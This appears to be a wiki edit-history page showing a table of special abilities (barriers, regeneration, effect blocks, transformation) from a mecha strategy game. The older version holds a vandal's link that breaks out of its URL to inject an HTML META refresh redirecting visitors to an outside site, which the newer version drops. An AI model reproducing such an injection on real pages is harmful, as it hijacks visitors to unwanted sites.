特殊能力

「特殊能力」の編集履歴(バックアップ)一覧はこちら

特殊能力」(2007/12/09 (日) 23:45:36) の最新版変更点

追加された行は緑色になります。

削除された行は赤色になります。

|名前|EN|必要&amp;br()気力|強化パーツ|説明|備考| |ビームコート|5||ビームコート|ビーム攻撃によるダメージを900軽減する。|| |ABフィールド|10||AB&amp;br()フィールド|ビーム攻撃によるダメージを1200軽減する。|| |Eフィールド|15|120||全てのダメージを1500軽減する。|| |G・ウォール|5|120|G・&amp;br()ウォール|全属性ダメージを800まで無効化する。|| |G・テリトリー|15|120|G・&amp;br()テリトリー|全属性ダメージを1800まで無効化する。|| |念動フィールド|5|110||全てのダメージを(念動力レベル×200)まで無効化する。|| |念動フィールドS|10|||全てのダメージを(念動力レベル×250)まで無効化する。|敵専用| |歪曲フィールド|10|||全てのダメージを50%にする。|基本的に&amp;br()敵専用| |分身||130|ハイパー&amp;br()ジャマー|敵の攻撃を50%の確率で回避する。|| |ジャマー||||ミサイル系武器を50%の確率で回避する。|| |HP回復(小)||||ターンの開始時にHPが10%回復する。|| |HP回復(中)||||ターンの開始時にHPが20%回復する。|敵専用| |HP回復(大)||||ターンの開始時にHPが30%回復する。|基本的に&amp;br()敵専用| |EN回復(小)|||ソーラー&amp;br()パネル|ターンの開始時にENが10%回復する。|| |EN回復(中)||||ターンの開始時にENが20%回復する。|基本的に&amp;br()敵専用| |EN回復(大)||||ターンの開始時にENが30%回復する。|| |ビーム吸収||||ビーム兵器のダメージを吸収してHPが回復する。|敵専用| |ウェポンブロック||||攻撃力ダウン・射程ダウン・命中率ダウンの特殊効果を無効化します。|| |エナジーブロック||||ENダウン・EN吸収の特殊効果を無効化します。|| |ロボットブロック||||R系全ての特殊効果を無効化します。|| |コクピットブロック||||能力ダウン・行動不能の特殊効果を無効化します。|| |マインドブロック||||気力ダウン・SP吸収・精神禁止系の特殊効果を無効化します。|| |パイロットブロック||||P系全ての特殊効果を無効化します。|| |フルブロック||||全ての特殊効果を無効化します。|| |変形||||機体を別形態に変化させることが出来ます。|| |合体||||複数の機体を合体させて別形態の機体へ変化させることが出来ます。|| |分離||||機体を別形態に変化させることが出来ます。(合体←→分離可能なユニット)|| |(単)分離||||機体を別形態に変化させることが出来ます。(分離したら再合体できないユニット)|| |換装||||機体を別形態に変化させることが出来ます。|| |ODEシステム||||①ターン開始時に「ODEシステム」搭載機の中で最も気力が高い者と同じ気力になる。&amp;br()②最終命中・回避率が「マップ上の『ODEシステム』搭載機の数+経過ターン数×2」&amp;br()上昇する。|敵専用| [[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]
|名前|EN|必要&br()気力|強化パーツ|説明|備考| |ビームコート|5||ビームコート|ビーム攻撃によるダメージを900軽減する。|| |ABフィールド|10||AB&br()フィールド|ビーム攻撃によるダメージを1200軽減する。|| |Eフィールド|15|120||全てのダメージを1500軽減する。|| |G・ウォール|5|120|G・&br()ウォール|全属性ダメージを800まで無効化する。|| |G・テリトリー|15|120|G・&br()テリトリー|全属性ダメージを1800まで無効化する。|| |念動フィールド|5|110||全てのダメージを(念動力レベル×200)まで無効化する。|| |念動フィールドS|10|||全てのダメージを(念動力レベル×250)まで無効化する。|敵専用| |歪曲フィールド|10|||全てのダメージを50%にする。|基本的に&br()敵専用| |分身||130|ハイパー&br()ジャマー|敵の攻撃を50%の確率で回避する。|| |ジャマー||||ミサイル系武器を50%の確率で回避する。|| |HP回復(小)||||ターンの開始時にHPが10%回復する。|| |HP回復(中)||||ターンの開始時にHPが20%回復する。|敵専用| |HP回復(大)||||ターンの開始時にHPが30%回復する。|基本的に&br()敵専用| |EN回復(小)|||ソーラー&br()パネル|ターンの開始時にENが10%回復する。|| |EN回復(中)||||ターンの開始時にENが20%回復する。|基本的に&br()敵専用| |EN回復(大)||||ターンの開始時にENが30%回復する。|| |ビーム吸収||||ビーム兵器のダメージを吸収してHPが回復する。|敵専用| |ウェポンブロック||||攻撃力ダウン・射程ダウン・命中率ダウンの特殊効果を無効化します。|| |エナジーブロック||||ENダウン・EN吸収の特殊効果を無効化します。|| |ロボットブロック||||R系全ての特殊効果を無効化します。|| |コクピットブロック||||能力ダウン・行動不能の特殊効果を無効化します。|| |マインドブロック||||気力ダウン・SP吸収・精神禁止系の特殊効果を無効化します。|| |パイロットブロック||||P系全ての特殊効果を無効化します。|| |フルブロック||||全ての特殊効果を無効化します。|| |変形||||機体を別形態に変化させることが出来ます。|| |合体||||複数の機体を合体させて別形態の機体へ変化させることが出来ます。|| |分離||||機体を別形態に変化させることが出来ます。(合体←→分離可能なユニット)|| |(単)分離||||機体を別形態に変化させることが出来ます。(分離したら再合体できないユニット)|| |換装||||機体を別形態に変化させることが出来ます。|| |ODEシステム||||①ターン開始時に「ODEシステム」搭載機の中で最も気力が高い者と同じ気力になる。&br()②最終命中・回避率が「マップ上の『ODEシステム』搭載機の数+経過ターン数×2」&br()上昇する。|敵専用|

表示オプション

横に並べて表示:
変化行の前後のみ表示:
ツールボックス

下から選んでください:

新しいページを作成する
ヘルプ / FAQ もご覧ください。